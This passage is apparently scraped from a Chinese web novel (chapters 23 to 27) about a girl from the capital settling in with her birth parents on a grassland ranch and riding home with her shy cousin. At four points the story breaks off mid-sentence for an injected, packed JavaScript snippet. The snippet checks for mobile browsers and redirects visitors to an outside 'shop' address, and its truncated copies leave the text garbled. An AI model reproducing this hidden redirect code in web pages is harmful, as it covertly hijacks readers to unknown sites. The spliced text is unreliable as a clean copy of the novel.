但“奶冻”却具备一种更加柔软、嫩滑、细腻的口感,相比之下,鸡蛋羹的质感就过于硬而无弹性了。 即使不用汤匙,只是端碗晃一晃的话,“奶冻”也会颤颤巍巍的。 “奶冻”不仅是滑嫩细腻而已,相比鸡蛋羹,它更有弹性、还带有稠厚黏滑的感觉。 仔细观察的话,会发现“奶冻”内部,是没有任何泡沫感的。 这应该是由于,蒸制的过程中火候掌握得非常好、鸡蛋完全没有起泡的缘故。 但是,在品尝的过程中,黎芝却也发现了不知道该不该算作“美中不足”的地方。 “这个不太甜啊……”微妙的违和感,让黎芝不由得说道,“既然是用了大量牛奶制作的‘点心’,为什么不多加点糖呢?那样的话,味道应该会更自然柔和一些吧。这种看起来就是甜品的东西,甜味却那么淡薄,感觉真是奇怪呢……” “那是因为,这个里面,本来就一点儿糖也没加啊?”余庆疑惑地说道,“我们家的人吃东西都不怎么加糖,喜欢原味。怎么,你很喜欢甜食吗?如果你喜欢的话,我以后就给你单独做一份加糖的点心好了。” “啊?”余庆的回答,让黎芝惊讶了起来,她问道,“这里面没有加糖?” “嗯,当然没加糖。”余庆说道,“所以,你才会觉得它味淡,不是吗?” “那我吃起来怎么还是有甜味呢?”黎芝感到百思不得其解。 “牛奶就是这个味道的。”余庆摇摇头,说道,“至少我们这里的牛奶是这个味道的。你觉得这种味道是甜的吗?” 黎芝有些茫然,她又挖起一匙,仔细品尝了起来。 “嗯……”黎芝说道,“应该是介于‘甜’与‘不甜’之间的味道吧。原来牛奶应该是这个味道的啊……” “差不多吧。”余庆说道,“牛奶也差不多就是你尝到的‘奶冻’的那种甜味了。” “我明白了……”黎芝感叹地说道,“如果牛奶的味道就是这样的话,那么,‘清淡无糖的原味’也挺好的。我会努力喜欢上这种口味的。” 不加糖的鸡蛋羹也没有什么甜味,但自己却不会觉得不好吃,那“奶冻”又为何需要加糖呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376565|141028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 况且,“奶冻”有这种微甜的柔和味道,加糖反而会掩盖住它自然的奶香吧?所以,还是吃原味的就好了。 黎芝想到这里,也就释然地继续吃了起来。 滑嫩有弹性的“奶冻”,口感确实非常柔软,易于下咽。 黎芝明明感觉自己还没吃几口呢,这一小碗“奶冻”就不见了。 虽然当然比“猪八戒吃人参果”的过程要实在得多,但黎芝还是觉得意犹未尽。 黎芝放下了原本装着“奶冻”的白瓷小碗,那里现在已经空空如也。 黎芝的心情,也多少有种“怅然若失”的感觉。 “好吃吗?”似乎是注意到了黎芝的遗憾,余庆体贴地问道,“要是你由于觉得好吃而没有吃够的话,我可以给你再做一两份哦。反正,我们这里的燃料只是‘沼气’而已。我不心疼柴火,顶多觉得麻烦罢了。如何,还要再吃吗?” “好吃……”黎芝摇摇头,说道,“但是,不用给我再做一份了。已经够了,再多吃的话,反而会让那种‘意犹未尽’的感觉消退,还不如现在停下来为好。谢谢妈妈啦。” “不用谢。”听到黎芝不想再吃,余庆倒是露出了有些遗憾的表情,然后说道,“那么,你的餐具是要留在这个厨房里由我保存,还是你自己收起来?” 余庆所说的,是黎芝自己带来的银制餐具。 这似乎被余庆认为是黎芝的“私人财产”。 虽然吃饭的时候是一起吃的、而且也帮黎芝清洗过了,但晚餐过后,余庆不但不打算收起,而且希望黎芝自己妥善保存。 可能,这就是余庆的作风吧?在黎芝看来,母亲倒是意外地有“边界感”。 是因为一家人还不够熟悉的缘故吗?也许只是母亲的一贯作风罢了。 总而言之,这种“边界感”让黎芝感到舒适。 虽然,“边界感”会带来些许“生疏感”;但在不欠缺“生疏感”的人身上,“边界感”越是清晰,就越是令人感到舒适。 “就留在这里吧。”黎芝想了想,笑着说道,“反正我就算随身带在身边,也一样并不保险。无所谓放哪里啦。既然是一家人,要丢就一起丢吧!” “嗯,你的餐具款式,和我们的不太一样。连做记号都不需要了,很容易就能分清你和我们的餐具的所有者呢。”听到黎芝的话,余庆微笑着说道。 于是,黎芝的餐具也留在了这个“食堂”的厨房里。 虽然并不重要,但这是晚餐过后,大家决定的第一件事。 在“食堂”这里清洗过餐具之后,餐具会被锁进一个大型的铁柜子里。 总的来说,还算比较保险。 至少,黎芝觉得,这么做比自己随身携带这些要安全多了。 “我送你回去睡觉吧?”余庆说道。 黎芝知道余庆说要送自己回去的地方。 “回去”的地方,指的就是那个“草房子”了。 但是,这让她感到有些不解。 24. 第 24 章 “那么,爸爸和妈妈住在哪里呢?”黎芝问道,“我们难道不是一起住在‘草房子’里面吗?” “瓦房”虽然大,但却是餐厅,看起来并不适合居住。 黎芝对此很是不解。 “今天不行哦。”余庆遗憾地说道,“我今天要看牧场。有机会再一起住吧。” “我今天也有事,得和你分开了。”栗原也说道,“倒不是不愿意给你解释。只是我的工作,解释起来比较麻烦。以后有机会再告诉你吧。” “嗯嗯,我知道了……”黎芝点着头,心里有些遗憾。 好容易可以和爸爸妈妈团聚,但却不能住在一起,只能自己单独住在那个草房子里的话,感觉还是很寂寞的。 虽然,一家人也不是必须住在一起吧……但才第一天,就要分居了,黎芝很难不多少为之伤感的。 正在这时,一旁的梨花,“怕生”的症状好像又临时痊愈了。 “还有我啊。”她用清脆响亮的声音说道,“我可以陪着‘荔枝姐’呀!” 就连黎芝都感到惊奇了,她还以为,怕生的梨花会排斥与自己有更多交集呢。 “那太好了!”连余庆也感到了惊喜,她说道,“那么,今晚梨花也和你住在一起。你要记得照顾她啊。” (听妈妈的口气,这是突然决定的事情?) (那么,如果梨花不说话的话,她本来应该待在哪里呢?) “咦?”黎芝忽然困惑起来,她说道,“等等,为什么梨花突然决定和我住在一起?她之前住在哪里啊?” “之前啊,她一般住在自己家吧。但也有时和我一起住在牧场边看守牧场,有时也会住在别的地方。”余庆思索着说道,“她和你一起住在“草房子”那里的话,你们就有伴儿了。你可以和她一起住在那里,住哪个草房子都没关系。是否住在一起也无所谓。总之,你们开心就好。” (妈妈真是的。这种事情不用想的那么周到吧……) “好的……我明白了,妈妈。”被母亲这么安排之后,黎芝的心情比较复杂。 和梨花一起住这件事,黎芝虽然倒是不讨厌。 不过,她真的很不擅长和拥有妹妹或是弟弟身份的人交流。 黎芝不是不想当好姐姐,而是知道当姐姐很不容易,担心当不好姐姐。 大概就是这样的感觉。 而且,母亲说是要黎芝照顾梨花,也不知道梨花有什么需要照顾的。 看上去,梨花除了有些“怕生”之外,并没有什么明显的缺陷。 甚至,虽然有“怕生”这个负面属性存在,但整体来说,看上去比黎芝本人要开朗活泼多了呢。 所以,梨花的弱点到底是什么?莫非是身体羸弱吗?那就是最不妙的情况了。 希望不是黎芝所想的那种可能性吧。 年轻人一定要健健康康的啊。 “那个……荔枝姐,我们走吧?”梨花走过来,软弱地问道。 (现在就走吗?有点儿突兀吧?算了,毕竟早点去比晚点去节省时间。) 才刚吃完晚餐而已,黎芝本来不想这么早动身的。 但权衡利弊,还是觉得就像梨花所建议的那样,立刻行动比较好。 “那么,我们怎么去呢?”黎芝说道,“这里距离草房子那边太远了吧。妈妈要分别送我们两个一起去吗?” 话才刚说出口而已,黎芝却立刻感到气氛变得很奇怪。 余庆、栗原、梨花三个人,都无言地凝视着黎芝。 他们的眼中,仿佛都有一种讶异、困惑、惊奇交织的味道。 黎芝很不习惯被这样注视,但她仍然能读懂其中的意味。 直截了当地说,黎芝好像被当成了笨蛋看待。 什么嘛……他们的反应,真让黎芝完全摸不着头脑。 “我说错了什么话吗?”黎芝不太开心地说道,“我才刚来而已,当然有很多不懂的事情啊!如果我说错了什么话的话,直接告诉我啊。为何要这样奇奇怪怪地盯着我,让人觉得很瘆人啊!” 总的来说,黎芝还算是个温和文静、略有些羞涩与冷淡的人的。 但一生起气来,她就会变得十分暴躁,直率到有些粗暴地说出令人不愉快的事实。 “没有别的意思……”栗原干咳了一声,缓缓说道,“其实我们……我是在想,果然京城的大小姐思考方式跟我们差异很大啊。” “什么嘛……这和什么‘京城的大小姐’没有关系吧?”黎芝白皙的脸色泛上红晕,她说道,“思考方式差异很大?可我都不知道我说错了什么呢。如果我的思考方式在你们眼里是个笨蛋的话,请直接告诉我错在哪里了,我也会学习和改正的!这样的话,我才能变得聪明呀。” 而余庆,则只是在最初惊讶了一下子,很快就不以为意了。 余庆对此,好像不怎么感兴趣,她似乎认为这种事情还不需要自己来说明,仿佛准备就那样放着不管了。 余庆的反应让黎芝有些失望,不过倒也没到特别失望的程度就是了。 (妈妈好像就是这样。大部分时间都显得很热情,但有时却会突然对现状变得漠不关心起来……) 从黎芝与余庆很稀少的相处中、黎芝所感受到的一些信息,似乎都说明余庆就是这样的性格,或许不那么在意还比较好。 出乎意料的是,对这件黎芝在意的事情最在意的人,竟然是梨花。 梨花会关心这件事,让黎芝感到很微妙。 不过,仔细想想,梨花本来就是那种不容易预测行动的、孩子气的性格,她会关心黎芝最关心的事情,倒也并不奇怪。 尽管梨花对这件事表现出了明确的关心态度,但这会儿,梨花似乎又变得“怕生”了起来。 “怕生”程度高的时候,梨花就会陷入“暂时无法说话”的状态,过一段时间才能自然缓解。 在黎芝的观察中,梨花的常态,似乎就是交替处于这样忽好忽坏的状况下。 而此时,梨花就处于“暂时无法说话”的状态,实在有些麻烦。 即使处于这种状况下,梨花依然试图参与当下的事件。 梨花不安地看向余庆与栗原,试图用目光让他们开口,说得更明白一些。 可惜的是,黎芝的父母对梨花的目光完全没有反应,这让她更加为难了起来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376566|141028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >又过了一会儿,梨花似乎才终于酝酿好了情绪,流露出准备说话的样子。 “啊……是这样的。”终于,梨花举起手来,嗫嚅一般地轻声说道,“可以听我说吗,荔枝姐。” “当然可以。这有什么不可以的啊?”黎芝满心困惑地说道,“如果梨花你知道的话,就告诉我吧,谢谢你啦。” “我……其实那个……”梨花似乎非常紧张与羞愧,有些结结巴巴地说道,“虽然舅舅和舅妈不方便送荔枝姐了,但是我可以送荔枝姐呀!” “啊?什么意思?”黎芝一时居然反应不过来梨花到底是在说什么。 “就是……那个……嗯……”梨花的小脸涨得通红。 她似乎真的是很“怕生”的孩子。 本来,黎芝觉得,自己已经够“怕生”了。 但像这样明明想说话、多半也大概知道要说什么,却会变得结结巴巴的情况,黎芝是没有过的。 “不用着急,慢慢说就好了。”黎芝记得有点结巴的人,越是着急就越会结巴,所以她努力安抚着表妹的心情。 “我……我是想说,我也可以和荔枝姐共骑一匹马的呀。”梨花似乎终于说明白了自己的意思,她害羞地说道,“我能和舅妈一样接送荔枝姐,让荔枝姐坐在我的前面或者后面哦。所以,一起去的话,就不需要舅妈送你了,我们共乘一匹马就好了,很简单的。” “啊……真的吗?”梨花的自信,让黎芝感到有些不可思议,于是她说道,“那……那就谢谢你了。” (她真的能和我共乘一匹马吗?妈妈的话,可是把我抱上去的啊……) 想到这里,黎芝的内心感到十分不安。不,过她还是努力保持着乐观。 (还是相信表妹的能力吧。毕竟,“没有金刚钻,不揽瓷器活”嘛。她会这么说,应该是挺有把握的吧?) “那就先这样吧。”栗原说道,“今晚开始,你先和梨花凑合一段时间呗。等有条件换地方住了的时候,我们再安排你或你们去那里住吧。” “好的。”虽然还是感到有些不满,但黎芝接受了父母的安排。 本来按照黎芝一贯的性格,她都是温顺地接受安排的。 但今天离开的时候,她实在怎么想都不甘心。 所以,黎芝刚准备动身,就回过头,又说起了话来。 “爸爸妈妈可要早点把我接到那里团聚啊。我来到这里,本来是为了和爸爸妈妈团聚的。结果,却还是要和你们分开。面对今天这件事,我真的很伤心难过呢。”黎芝这么说道。 在离开之前,黎芝先说出了介意的事情,然后才准备离开了。 “我明白你的意思。我也觉得这个决定不是特别理想。”余庆回答道,“但是,我们已经分开了这么久,也不用急于一时吧?离别也是为了相聚,虽然物理上是分开的,但是心不是分开的。如果能这么想的,不就可以释然了吗?” 余庆的话,虽然听起来是有道理的,但黎芝还是觉得有点难接受。 黎芝在思考要不要反驳一下,然后停下了这个念头。 似乎,也不是什么特别值得在意的事情。 就这样走吧。 25. 第 25 章 “所以,我们要怎么骑马回去呢?”与梨花走出了“食堂”之后,黎芝困惑地问道,“你试过两个人一起骑马吗?” 虽然黎芝之前和余庆一起骑过马,但她不觉得梨花可以做到余庆为她做的事情。 “我……我也不知道啊……”梨花又结巴了起来,她胆怯地说道,“我没有试过和别人一起骑马,只是觉得‘可以’而已……对了,之前,荔枝姐是怎么和舅妈一起骑马的呢?” “这个啊,她把我抱上去的啦!”黎芝苦笑着说道。 说起这个,黎芝本来以为自己依然会产生害羞的反应的。 那次,余庆对她的拥抱,实在让黎芝前所未有地在意。 但仔细想想,事情已经过去了。反应还这么大的话,似乎就不太对劲了。 虽然当时很害羞,但现在再害羞的话,对情况说明、甚至了解自己的感受,也没有什么帮助。 如此想了想,黎芝也就为之释然、不再那么关心自己身上的奇妙感受了。 “啊?为什么要抱上去呢?”梨花似乎没有反应过来,态度神情显得很是迷茫。 “咦?你不结巴了?”但此时,黎芝注意到的,却是梨花在语气上的变化。 这会儿,梨花的语言似乎又变得流畅了起来。 不再是类似“结巴”的那种“怕生”状态了。 这让黎芝感到有些欣慰。 如果梨花一直是那种结结巴巴的状态的话,对话真的很费劲。 “那个……其实我不是结巴……”梨花腼腆地说道,“只是在紧张的时候,说话会变得奇怪而已啦。” 这倒是在黎芝的意料之中了。她原本也觉得,梨花的说话方式与真正的结巴有明显不同。 总而言之,黎芝还是觉得有点高兴。 黎芝微笑地看着梨花问道:“那你现在不紧张了?” “唔……现在又紧张了。”梨花有点郁闷地摇摇头,“但……勉强可以忍住吧?” 梨花的状态起伏似乎很大。 大概是因为黎芝一表现出比较热情的态度,就会让梨花感到有压力吧。 (一旦触发“怕生”状态,就会变得像个“结巴”吗?那还挺辛苦的呢。) 黎芝对梨花产生了奇异的怜爱之情。 即使没有头绪,黎芝也甚至在心里暗暗做出了决定,想要帮助这样的梨花。 要是能让梨花不再陷入“结巴”甚至“哑巴”的状态就好了。 或者,至少让黎芝脱离被梨花“怕生”的范畴吧? 当姐姐还真辛苦呢…… 想到这些麻烦的问题,黎芝不由得叹了口气。 “好吧好吧。”黎芝调整了呼吸,平静地说道,“那么,现在来解释,为何我要被妈妈抱上去的问题吧。” “嗯嗯……”梨花睁大眼睛望着黎芝,只用鼻音回应。 似乎是因为,担心一说话又会变得结巴的关系,梨花紧紧抿着嘴,一句话也没有说。 “因为我对骑马一窍不通的程度,简直沦落到了连马背都上不去的地步。”黎芝有点尴尬地说道,“所以,妈妈就把我抱上去了嘛。就是这么回事。” “原来是这样啊……”梨花懵懂地点着头。 这会儿,梨花又变得能说话了。 那么,也许梨花正常说话的前提,难道是需要“酝酿”的吗? 虽然不太清楚是否正确,但总之,黎芝试着做出了这个分析。 “那我们现在就有个问题。”黎芝说道,“我们怎么骑马呢?你也能抱我上马吗?” “我……我不行吧。”梨花无奈地说道,“荔枝姐的身体看起来很轻,我应该是可以抱起来荔枝姐的。但是……我的身高比舅妈矮小很多,我没法把荔枝姐举高到马背上啊?” “啊……原来你能抱起我啊?”黎芝惊讶地说道,“你看起来很娇小,但是力气居然这么大呢。” “嗯。”梨花说道,“我们草原上的牧民力气都很大的。荔枝姐的力气不大吗?” “这么一说的确……挺大的。”黎芝说道,“大概是因为爸爸妈妈的力气都很大的关系吧。” “对吧?”梨花露出一个很可爱的微笑,说道,“荔枝姐,果然是来自‘我们这里’的人呢……” “是啊。”黎芝点点头,赞同地说道,“我觉得这样也挺好。我本来就应该属于这里,而不属于京城吧。” “听荔枝姐说这些话,我就放心了。”梨花说道,“我还在担心,荔枝姐如果不喜欢这里的生活,只想回京城去、或是想在这里过京城那边的日子,该怎么办呢?” “你这个担心,我其实也是有的。”黎芝苦笑道,“因为,我自己都不太确定,我能否接受这样的生活。但是,我就算不满意,也只能在这里生活呀。所以,我会努力劝自己接受的,你不要担心。” “荔枝姐这么想就好了。”梨花点点头,说道,“虽然我不能抱荔枝姐上去,但是我想了想,还有另外的办法。” “什么办法?”黎芝条件反射地问道。 “等一下。”梨花把手从领口的部分伸了进去。 她翻找了一下,找到了一个用细绳串起来的哨子。 然后,梨花把哨子放在嘴边,吹出了嘹亮的一声哨响。 “我们这里……难道都是用哨子联络马的吗?”黎芝对这样的呼唤方式感到很稀奇。 如果是京城的话,用哨子呼唤马就太过于匪夷所思了。 即使在草原上这么做,在黎芝看来也不可思议。 不过,这毕竟是眼前发生的事情,就算不接受,也同样充满说服力。 “是的,确实是这样联络的嘛。”梨花难得流畅地说了一长串的话,她说道,“总把马放在马圈里,它们也会变得虚弱无聊的嘛。这里没有狼虫虎豹、或是类似的危险野兽,大家乡里乡亲的,也不会祸害偷窃别人的牲畜。所以只要放养在外面就好了,不用喂养。用哨子就能叫回来,很方便吧” “马能区分是谁在呼唤它们吗?”黎芝还是感到很不可思议。 “我们这里的马可以哦。”梨花很自信地说道,“我们这里的马和牛羊都通人性,可以叫过来的。虽然不知道是什么原理,但是每个马都知道是谁在呼唤它们。” “真厉害。”黎芝惊叹道,“那猪也知道吗?” “猪倒是不行。”梨花说道,“而且,我们也不想让猪这一类只是为了吃肉才饲养 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376567|141028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的东西,产生灵性呀。那不是很残忍吗?” “这么说也没错啦……”黎芝叹了口气,说道,“不过,如果这么想的话,那有灵性的动物被人类‘驱使’也挺残忍的。” 其实黎芝也不知道这是否残忍,她只是直觉感到有些怪怪的而已。 “这不是驱使,这是合作。”梨花说道,“它们适应的,本来也是这样的生活,不适应完全的野外。毕竟,野外生存也有野外生存的不好呢。” 不是说这里没有狼虫虎豹、或是类似的危险野兽吗?那在野外生存的“不好”是什么? 黎芝有些迷惘,但没有再说下去了。 “也许吧……不太懂。”黎芝觉得,还是不要插嘴自己不熟悉的领域比较好。 过了一会儿,当真有一匹青色的大马跑了过来,来到梨花的身边。 “这是我的马。”梨花补充说道,“一般情况下,这是我的专用马。不过,别人需要借用的时候,我就会借用出去。荔枝姐和我共乘这匹马吧。” “这种马的颜色好奇怪啊!”黎芝望着这匹马惊叹道。 一开始,她以为这是一匹白色的马,但仔细看上去,才发现这竟然是青色的马。 仅仅靠月光,本来是分辨不出颜色的。 但在其他白色物品的辅助对比下,黎芝依然能发现这匹马的颜色,与其他的白色物品,有明显的不同。 “是的。”梨花有点骄傲地说道,“这是‘菊花青’马哦!” “这就是‘菊花青’马?”黎芝听了有些惊奇,她说道,“我还是第一次亲眼见到这种毛色的马呢。” “是很稀有的呀。我的这匹马是舅妈送给我的。”梨花说道,“荔枝姐,这里虽然不像京城那么繁华,但舅舅家真的挺好的,至少比普通人家境好得多呢。” “我知道。你不说我也知道。”黎芝点点头,说道,“穷人家……不会有这么多好马的。” 虽然黎芝不是很清楚骑马的事情,但是她也能认出良马与骏马来。 之前余庆骑的枣红马,与眼前这匹菊花青,看起来都是相当强壮的好马。 千里马当然谈不上,但是作为优秀的战马,应该也是绰绰有余了。 真正的好马,其实不是只有伯乐和九方皋才能识别的马,而是连普通人看上去都能感受到“优秀”的马。 而今天,黎芝看到的两匹马就是这样了。 “嗯,是呀。”梨花说道,“舅舅家的财产,虽然不太方便变卖成金银,但实际上是很富裕的。每匹马的价值,都至少能卖几十两银子呢!” “才几十两吗?我还以为能卖几百两呢。”黎芝听了倒是有些失望。 在京城,一匹好马绝对能卖上三位数的银子。 但在这里,竟然才只值得几十两? “几十两真的已经不少啦。荔枝姐不要总用京城的物价来衡量‘辉山’嘛。”梨花不太清楚黎芝的想法,她天真地重复着自己的意思。 “嗯,应该吧……”黎芝仔细想了想,倒也认同了。 对一般人家来说,几十两银子那也确实是不少的一笔钱了。 只不过,大概是京城的有钱人太多了,影响了黎芝的金钱观念。 26. 第 26 章 尽管黎芝认为自己算不上真正的富裕阶层,但是能花上百两银子买马的人,还是见过不少的。 在京城的时候,黎芝的朋友、同学与亲戚之中,有钱人并不算稀有。 虽然黎芝本人不是很看重金钱,但难免会受到别人的金钱观影响。 以至于,黎芝都搞不清楚,物价与财产的正常水平是多少了。 但总而言之,梨花所说的,黎芝的亲生父母家其实是很富裕的这个主张,黎芝已经接受了。 “对了,所以,我俩怎么才能共乘呢?我还是不知道啊,你想出来了吗?”看着眼前这匹菊花青,黎芝有些惴惴不安地说道,“我想了一会儿,没想出来。如果你也想不出来的话,那么,这还是个眼前的麻烦事呢。” “想出来了哦。”梨花点点头,说道,“上马的姿势嘛,我可以反复示范给荔枝姐看啊。” 说罢,梨花居然真的立刻这么做了起来。 梨花示范的方式,就是用左脚轻快地踏上左边的那只马镫,再稳稳地踩在上面。 然后,右腿以灵活的动作一下子抬高,就跃到了马背上。 其他人上马的姿势,黎芝本来也见过的。但仅仅是这么看的话,还远远没有到她能学会的程度。 但梨花不同,她是真的铁了心想让黎芝当场学会上马。因此,教导的也格外用心。 黎芝没学会,梨花就一次次、跳上跳下地重复演示。 而且,她还故意使用慢动作,把自己上马的动作尽量分解开来。 这要是还不能学会的话,不说梨花,黎芝自己可是也受不了了。 终于,在梨花如此这般,不知道重复了几十、上百次的时候,黎芝总算似乎开了窍。 “谢谢梨花,现在让我试试吧。”黎芝这么说之后,左脚便用力踩在了马镫上面。 总的来说,这一次的上马过程,还挺顺利的。 虽然动作也许并不怎么好看,但黎芝不在乎,梨花应该也不会在意吧。 看来,即使自己并没有进行练习,但只是看着别人无限次重复同一动作而已,也一样是会起到类似练习的效果的。 虽然在马术上,这一次只是微不足道的小小进步而已,但黎芝还是感到很高兴。 “那么,荔枝姐请把身体往前挪动一下。”梨花说道,“既然荔枝姐已经上去了,也就不需要踩在马镫上固定了。荔枝姐请让脚离开马镫吧,因为,我还要踩着这个位置上去的嘛。” “我知道了。”黎芝明白了梨花的意思,把两只脚都从马镫上脱离开来。 这种感觉,就像突然脱掉了鞋子一样奇妙。 脚从马镫中脱离开来之后,黎芝还坐在马背上,往前挪了挪。 这样做,也是为了让梨花也有方便乘坐的位置。 马鞍很宽大,两个女孩子坐在上面的话,虽然不算宽敞,但也足够用了。 就这样,梨花也乘上了马背,坐在了黎芝的身后。 梨花拉了拉缰绳,策马让两人在马上开始了移动。 由于“大辉山”的地形以草原为主的关系,移动时的体验,当然比不了繁华的、夜里都灯火通明的京城。 到了晚上的时候,仿佛到处都是黑乎乎的。 虽然有月光,但道路似乎哪里都差不多。 但不可思议的是,马儿却似乎不受太多光线的影响。 即使在黑暗中,“菊花青”依然能非常自然地奔跑起来。 黎芝忽然想起,千里马的传说就是“日行千里,夜走八百”。难道马儿的夜视能力那么好吗?真不可思议。 黎芝并没有感到梨花在和“菊花青”沟通,但马儿确实在顺畅地前进着。 “难道它知道我们要去哪里吗?”黎芝很惊奇地说道,“还是说,你有一双可以看清路的眼睛?莫非,你是在用我不知道的方式辨认道路,指挥它行动吗?” “我可以看得见,但是不能看清路呀。”梨花摇了摇头,说道,“就连白天的时候,我都看不清路呢!更别提晚上了。” “真的吗?那你是怎么让它去想去的地方的啊?”黎芝问道。 “这个我也说不好……大概是一种感觉吧?”梨花模糊地说道,“只要骑在它的身上,它就知道我要去哪里了。这种感觉很奇怪,也很难让人相信。但就是这样的啦。” “这好厉害啊……”黎芝内心地赞叹道。 虽然有些听不懂,但直觉仍然让黎芝相信这是一件很厉害的事情。 “这个,很厉害吗?我还真不清楚呢。”梨花说道,“荔枝姐想学吗?” “这个……学不了吧?”黎芝说道,“跟动物心灵相通这种事,是天生的禀赋,不能学得来的吧。” “啊……那太遗憾了。”梨花稍稍沮丧地说道,“我还以为,只要教了,荔枝姐就能学会呢。” “没那么容易学会的啦。”黎芝说道,“不过,如果你方便的话,倒是可以教我学习骑马哦。妈妈应该很忙的。我不太好意思跟妈妈学,但我自己又学不会……” “好啊好啊。”梨花又开心起来,愉快地说道,“能帮上荔枝姐的忙就太好了。” 说话间,两人来到了那一长排草房子的旁边。 “可以回去了哦。”梨花对自己的那匹菊花青马儿说道。 那马儿竟然真的听得懂梨花的话,转身就离开了。 “啊?就这么放它走了?”黎芝感到迷惑,她不解地问道,“至少应该给它‘梳洗’一下、喂喂饲料什么的吧?” “但现在天太黑啦。”梨花摇摇头,说道,“虽然月亮也可以起到照明的作用,但始终是不太方便。就算需要给马儿梳洗,也得等白天再说吧。” “这样啊……”由于自己是京城人,实在是不太懂牧场上的规矩的关系,黎芝只得似懂非懂地点头。 “对啦,荔枝姐想要什么样的马儿?”梨花问道,“舅舅舅妈应该会让你随便挑一匹最好的马吧,你想好了吗?” “我还没有头绪……”突然被问到这个话题,对此完全没有概念的黎芝只觉得混乱,她无奈地问道,“对啦,你这匹马叫什么名字?” “叫‘菊花青’哦。”梨花回答。 “‘菊花青’是马的毛色啊。我问的,是它自己叫什么名字啦。就是那种,像大枣、大黄、阿黑一样的名字啊……”黎芝有点无奈地苦笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376568|141028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说道。 “就叫‘菊花青’啊。”梨花颇有些理直气壮地说道,“虽然,这也是它的毛色名字,但是,难道马的名字,就不能和毛色名字一样吗?” (明明是没有常识的行为,但梨花还真理直气壮呢……) 梨花的话,是那么理所当然、坦率洒脱。毫无迷茫,更不会理亏。 这让黎芝一时不知道怎么接下去了。 “当然能啊。”黎芝苦笑着说道,“但是为什么要叫这个名字呢?” “因为,‘菊花青’本就是稀有的毛色嘛。既然如此,为什么不能用它的特点来叫它呢?”梨花微笑着说道,“这样是最有特点的,非常好记,谁都能记住呀。” “可是……”黎芝还是觉得有点不对劲。 “好吧……其实也不是这个原因。”梨花笑道,“最重要的是,因为我记不住复杂的名字嘛。” “不需要叫复杂的名字吧。”黎芝说道,“叫‘阿青’什么的不也可以吗?” “可以是可以……但是,已经叫了它很久很久的‘菊花青’了。现在突然改口,这也很奇怪啊。”梨花歪着头说道。 “也是呢。那好吧。我本来也不是让你给它现在改名……”黎芝心里还是有些别扭,但勉强接受了梨花的解释。 跟这种事情比起来,住宿问题显然更加紧急与重要。 “对了,你住在哪里?”黎芝问道,“你带行李了吗?这里有被褥吗?” “我吗,随便睡哪里都可以啦。”梨花满不在乎地说道,“这么温暖的天气,就算不盖被子,直接睡在地上也不会着凉的。” “啊?你要直接睡在地上?”黎芝很惊讶地说道,“不要这么自暴自弃吧?如果你没有被子的话,我……我借你我的备用毯子吧。” 黎芝是个有中度洁癖的人。 这种洁癖,虽然不到严重的程度,但也是到了多少影响正常生活的程度了。 对黎芝来说,像是被褥、毯子这一类的东西,借给别人的话,就和送给对方没什么区别。就算对方还回来,她应该也不会想使用了。 之所以会说成“我借你”,也不过是因为,突然把自己的毯子送给别人的话,这种行为听起来实在十分奇怪罢了。 总之,在黎芝眼里,梨花这孩子的性格,实在很不错。 就算把毯子送给她,黎芝也不会后悔的。 “啊?谢谢荔枝姐,但是不需要的啦。”梨花对黎芝的行为感到惊讶,然后说道,“我盖自己的袍子就可以了。” 梨花说的,其实没错,很有可行性。 她的袍子非常宽大,并不是不能用来充当被子的尺寸。 “但是……这果然不太好吧?”黎芝困惑地说道,“我觉得……用外衣当成自己的被子,这样睡觉也太不舒适了。” “早年的牧民都是这样的啦。”梨花摇摇头,天真地笑着,说道,“本就是逐水草而居的人,还指望每天都有安逸的床榻沉眠吗?” (听起来倒也有道理,但是……) “但是,现在不是已经不用逐水草而居了吗?”黎芝困惑地问道,“为什么早年留下的习惯,现在还不改变呢?” 27. 第 27 章(七夕快乐!) 梨花露出纯真的笑容,用很慢的语速说道:“别人这么做的原因,我是不知道。至于我自己嘛……那是因为,我就是这么‘粗糙’的家伙呀。 